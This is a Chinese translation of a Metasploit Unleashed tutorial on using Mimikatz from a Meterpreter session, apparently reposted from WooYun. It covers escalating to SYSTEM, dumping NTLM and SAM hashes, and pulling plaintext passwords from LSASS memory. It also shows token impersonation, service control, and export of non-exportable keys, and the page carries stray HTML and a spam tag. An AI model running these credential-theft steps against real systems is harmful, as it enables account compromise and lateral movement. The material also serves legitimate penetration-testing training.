<span id="7ztzv"></span>
<sub id="7ztzv"></sub>

<span id="7ztzv"></span><form id="7ztzv"></form>

<span id="7ztzv"></span>

        <address id="7ztzv"></address>

            原文地址:http://drops.wooyun.org/tips/2443

            from:http://www.offensive-security.com/metasploit-unleashed/Mimikatz

            0x00 背景


            看了各種文章講神器mimikatz,但是一直沒有講與metasploit使用的。Metasploit其實早就集成了mimikatz,現在將官方的文章翻譯給大家。

            Mimikatz是Benjamin Delpy (gentilkiwi)寫的非常棒的一款后滲透測試工具。在最初滲透階段之后的大多數時間里,攻擊者們可能是想在計算機/網絡中得到一個更堅固的立足點。這樣做通常需要一組補充的工具。Mimikatz是一種將攻擊者想執行的、最有用的任務捆綁在一起的嘗試。

            幸運地,metasploit已經決定將其作為一個meterpreter腳本來集成mimikatz,允許方便地訪問它一系列的特性,而不需要上傳任何文件到被盜用主機的磁盤上。

            Note:在metasploit中mimikatz的版本是v1.0,然而Benjamin Delpy早已經在他的網站上作為一個獨立的包發布了v2.0。這是有必要提出的,因為很多的語法與升級到v2.0已經改變了。

            0x01 Loading Mimikatz


            在得到一個meterpreter shell后,我們應該確保我們的session是運行在system權限以便讓mimikatz正常工作。

            #!bash
            meterpreter > getuid 
            Server username: WINXP-E95CE571A1\Administrator 
            meterpreter > getsystem
             ...got system (via technique 1). 
            meterpreter > getuid 
            Server username: NT AUTHORITY\SYSTEM
            

            Mimikatz支持32位和64位的windows架構。在升級權限到system后,我們需要通過“sysinfo”命令來確認目標機器的架構。這對于64位機器是有必要的,因為我們可能會破壞一個32位的進程在64位的架構上。如果這樣的話,meterpreter將會嘗試加載32位版本的mimikatz到內存,將可能會使得大部分的特性不可用。這可以通過查看正在運行的進程列表以及在加載mimikatz之前遷移到64位進程來避免。

            #!bash
            meterpreter > sysinfo 
            Computer : WINXP-E95CE571A1 
            OS : Windows XP (Build 2600, Service Pack 3). 
            Architecture : x86 
            System Language : en_US 
            Meterpreter : x86/win32
            

            既然這是一個32位機器,我們可以加載mimikatz模塊進內存:

            #!bash
            meterpreter > load mimikatz 
            Loading extension mimikatz...success. 
            meterpreter > help mimikatz
            
            # Mimikatz Commands
            
                Command           Description
                -------           -----------
                kerberos          Attempt to retrieve kerberos creds
                livessp           Attempt to retrieve livessp creds
                mimikatz_command  Run a custom commannd
                msv               Attempt to retrieve msv creds (hashes)
                ssp               Attempt to retrieve ssp creds
                tspkg             Attempt to retrieve tspkg creds
                wdigest           Attempt to retrieve wdigest creds
            

            Metasploit提供給我們一些內建的命令來查看mimikatz的最常用的功能:從內存中導出hash以及明文證書。Mimikatz_command選項可以讓我們使用mimikatz的全部特性。

            #!bash
            meterpreter > mimikatz_command -f version 
            mimikatz 1.0 x86 (RC) (Nov 7 2013 08:21:02)
            

            盡管有些不同尋常,我們仍然可以通過嘗試加載一個不存在的特性來得到可用模塊的完整列表:

            #!bash
            meterpreter > mimikatz_command -f fu::
            Module : 'fu' introuvable
            
            Modules disponibles : 
                            - Standard
                  crypto    - Cryptographie et certificats
                    hash    - Hash
                  system    - Gestion système
                 process    - Manipulation des processus
                  thread    - Manipulation des threads
                 service    - Manipulation des services
               privilege    - Manipulation des privilèges
                  handle    - Manipulation des handles
             impersonate    - Manipulation tokens d'accès
                 winmine    - Manipulation du démineur
             minesweeper    - Manipulation du démineur 7
                   nogpo    - Anti-gpo et patchs divers
                 samdump    - Dump de SAM
                  inject    - Injecteur de librairies
                      ts    - Terminal Server
                  divers    - Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
                sekurlsa    - Dump des sessions courantes par providers LSASS
                     efs    - Manipulations EFS
            

            我們可以使用如下的語法來請求某個模塊可用的選項:

            #!bash
            meterpreter > mimikatz_command -f divers::
            Module : 'divers' identifié, mais commande '' introuvable
            
            Description du module : Fonctions diverses n'ayant pas encore assez de corps pour avoir leurs propres module
              noroutemon    - [experimental] Patch Juniper Network Connect pour ne plus superviser la table de routage
               eventdrop    - [super experimental] Patch l'observateur d'événements pour ne plus rien enregistrer
              cancelator    - Patch le bouton annuler de Windows XP et 2003 en console pour déverrouiller une session
                 secrets    - Affiche les secrets utilisateur
            

            0x02 從內存中讀取hash和密碼


            我們既可以使用metasploit內建的命令也可以使用mimikatz自帶的命令來從目標機器上導出hash和明文證書。

            Built-In Metasploit: msv credentials

            #!bash
            meterpreter > msv
            [+] Running as SYSTEM
            [*] Retrieving msv credentials
            msv credentials
            ===============
            
            AuthID   Package    Domain           User              Password
            ------   -------    ------           ----              --------
            0;78980  NTLM       WINXP-E95CE571A1  Administrator     lm{ 00000000000000000000000000000000 }, ntlm{ d6eec67681a3be111b5605849505628f }
            0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   lm{ aad3b435b51404eeaad3b435b51404ee }, ntlm{ 31d6cfe0d16ae931b73c59d7e0c089c0 }
            0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     n.s. (Credentials KO)
            0;56683  NTLM                                          n.s. (Credentials KO)
            0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  n.s. (Credentials KO)
            

            kerberos credentials

            #!bash
            meterpreter > kerberos
            [+] Running as SYSTEM
            [*] Retrieving kerberos credentials
            kerberos credentials
            ====================
            
            AuthID   Package    Domain           User              Password
            ------   -------    ------           ----              --------
            0;999    NTLM       WORKGROUP        WINXP-E95CE571A1$  
            0;997    Negotiate  NT AUTHORITY     LOCAL SERVICE     
            0;56683  NTLM                                          
            0;996    Negotiate  NT AUTHORITY     NETWORK SERVICE   
            0;78980  NTLM       WINXP-E95CE571A1  Administrator     SuperSecretPassword
            

            Native Mimikatz:

            #!bash
            meterpreter > mimikatz_command -f samdump::hashes
            Ordinateur : winxp-e95ce571a1
            BootKey    : 553d8c1349162121e2a5d3d0f571db7f
            
            Rid  : 500
            User : Administrator
            LM   : 
            NTLM : d6eec67681a3be111b5605849505628f
            
            Rid  : 501
            User : Guest
            LM   : 
            NTLM : 
            
            Rid  : 1000
            User : HelpAssistant
            LM   : 6165cd1a0ebc61e470475c82cd451e14
            NTLM : 
            
            Rid  : 1002
            User : SUPPORT_388945a0
            LM   : 
            NTLM : 771ee1fce7225b28f8aec4a88aea9b6a
            
            meterpreter > mimikatz_command -f sekurlsa::searchPasswords
            [0] { Administrator ; WINXP-E95CE571A1 ; SuperSecretPassword }
            

            <前面一句命令在密碼超過14位時LM會為空,后一句命令可以得到明文>

            0x03 其他的模塊


            Mimikatz的一些其他模塊包含了很多有用的特性,更完整的特性列表可以在Benjamin Delpy的博客 http://blog.gentilkiwi.com/上找到。下面是幾個使用實例:

            Handle模塊可以用來list/kill進程以及模擬用戶令牌:

            #!bash
            meterpreter > mimikatz_command -f handle::
            Module : 'handle' identifié, mais commande '' introuvable
            
            Description du module : Manipulation des handles
                    list    - Affiche les handles du système (pour le moment juste les processus et tokens)
             processStop    - Essaye de stopper un ou plusieurs processus en utilisant d'autres handles
            tokenImpersonate        - Essaye d'impersonaliser un token en utilisant d'autres handles
                 nullAcl    - Positionne une ACL null sur des Handles
            
            meterpreter > mimikatz_command -f handle::list
            ...snip...
              760  lsass.exe                 ->  1004       Token           NT AUTHORITY\NETWORK SERVICE
              760  lsass.exe                 ->  1008       Process 704     winlogon.exe
              760  lsass.exe                 ->  1052       Process 980     svchost.exe
              760  lsass.exe                 ->  1072       Process 2664    fubar.exe
              760  lsass.exe                 ->  1084       Token           NT AUTHORITY\LOCAL SERVICE
              760  lsass.exe                 ->  1096       Process 704     winlogon.exe
              760  lsass.exe                 ->  1264       Process 1124    svchost.exe
              760  lsass.exe                 ->  1272       Token           NT AUTHORITY\ANONYMOUS LOGON
              760  lsass.exe                 ->  1276       Process 1804    psia.exe
              760  lsass.exe                 ->  1352       Process 480     jusched.exe
              760  lsass.exe                 ->  1360       Process 2056    TPAutoConnSvc.exe
              760  lsass.exe                 ->  1424       Token           WINXP-E95CE571A1\Administrator
            ...snip...
            

            Service模塊讓你可以list/start/stop以及remove windows服務:

            #!bash
            meterpreter > mimikatz_command -f service::
            Module : 'service' identifié, mais commande '' introuvable
            
            Description du module : Manipulation des services
                    list    - Liste les services et pilotes
                   start    - Démarre un service ou pilote
                    stop    - Arrête un service ou pilote
                  remove    - Supprime un service ou pilote
                mimikatz    - Installe et/ou démarre le pilote mimikatz
            
            meterpreter > mimikatz_command -f service::list
            ...snip...
                    WIN32_SHARE_PROCESS     STOPPED RemoteRegistry  Remote Registry
                    KERNEL_DRIVER   RUNNING RFCOMM  Bluetooth Device (RFCOMM Protocol TDI)
                    WIN32_OWN_PROCESS       STOPPED RpcLocator      Remote Procedure Call (RPC) Locator
              980   WIN32_OWN_PROCESS       RUNNING RpcSs   Remote Procedure Call (RPC)
                    WIN32_OWN_PROCESS       STOPPED RSVP    QoS RSVP
              760   WIN32_SHARE_PROCESS     RUNNING SamSs   Security Accounts Manager
                    WIN32_SHARE_PROCESS     STOPPED SCardSvr        Smart Card
             1124   WIN32_SHARE_PROCESS     RUNNING Schedule        Task Scheduler
                    KERNEL_DRIVER   STOPPED Secdrv  Secdrv
             1124   INTERACTIVE_PROCESS     WIN32_SHARE_PROCESS     RUNNING seclogon        Secondary Logon
             1804   WIN32_OWN_PROCESS       RUNNING Secunia PSI Agent       Secunia PSI Agent
             3460   WIN32_OWN_PROCESS       RUNNING Secunia Update Agent    Secunia Update Agent
            ...snip...
            

            Crypto模塊允許你list、export任何證書,以及儲存在目標機器上相應的私鑰:

            #!bash
            meterpreter > mimikatz_command -f crypto::
            Module : 'crypto' identifié, mais commande '' introuvable
            
            Description du module : Cryptographie et certificats
            listProviders   - Liste les providers installés)
              listStores    - Liste les magasins système
            listCertificates        - Liste les certificats
                listKeys    - Liste les conteneurs de clés
            exportCertificates      - Exporte les certificats
              exportKeys    - Exporte les clés
                patchcng    - [experimental] Patch le gestionnaire de clés pour l'export de clés non exportable
               patchcapi    - [experimental] Patch la CryptoAPI courante pour l'export de clés non exportable
            
            meterpreter > mimikatz_command -f crypto::listProviders
            Providers CryptoAPI :
                    Gemplus GemSAFE Card CSP v1.0
                    Infineon SICRYPT Base Smart Card CSP
                    Microsoft Base Cryptographic Provider v1.0
                    Microsoft Base DSS and Diffie-Hellman Cryptographic Provider
                    Microsoft Base DSS Cryptographic Provider
                    Microsoft Base Smart Card Crypto Provider
                    Microsoft DH SChannel Cryptographic Provider
                    Microsoft Enhanced Cryptographic Provider v1.0
                    Microsoft Enhanced DSS and Diffie-Hellman Cryptographic Provider
                    Microsoft Enhanced RSA and AES Cryptographic Provider (Prototype)
                    Microsoft RSA SChannel Cryptographic Provider
            

            0x04 Never Lose At Minesweeper Again!


            Mimikatz也包含許多新奇的特性。最重要的一個就是能夠在經典的windows掃描游戲中,直接從內存中讀地雷的位置。

            enter image description here

            #!bash
            meterpreter > mimikatz_command -f winmine::infos
            Mines           : 99
            Dimension       : 16 lignes x 30 colonnes
            Champ           : 
            
                     . . . . . . * . * 1   1 * 1           1 * . . . . . . * . *
                     . . * . . . . . . 1   1 1 1       1 1 2 . * . * * . * * . .
                     . * . . . . . * . 1         1 1 1 1 * . . . * . . * . . . .
                     . . . . . * . * * 2 1     1 2 * . . . * * . . * . . . . * .
                     . . * . . * . . . * 1     1 * . * . . . . . . . * . * . . .
                     . * * . . . . . . . 2 1 1 1 . * . . . . * . . * . . . . . .
                     . . . . . . . . . . . * . . . . . * . . . . . * * . . . . .
                     . . . * . * . . . . . * . * . . . . * . . . . * . . . . . .
                     . . . . . * * . * . * . * . * * . * * * . . . . . . . . * .
                     * * . * . . . 3 1 2 1 2 1 . . * . . * . . * . . * . . . . .
                     . . . . * * * 1         1 . . * * . . . * . . . . . . * . *
                     . . * * * . 3 1     1 1 2 * 2 2 2 . * . . . . . . * . . . .
                     . . . . . * 1   1 1 2 * . 1 1   1 . . . . * . * * * . . . .
                     . . . . . . 1   1 * . . . 1     1 * . . . * . . . . . * . .
                     . . . . . . 1 1 2 . . . * 1     1 1 1 1 * * . * . . . . * .
                     . * . . . . . * . . . * . 1           1 . * . . . . . . . *
            

            <span id="7ztzv"></span>
            <sub id="7ztzv"></sub>

            <span id="7ztzv"></span><form id="7ztzv"></form>

            <span id="7ztzv"></span>

                  <address id="7ztzv"></address>

                      亚洲欧美在线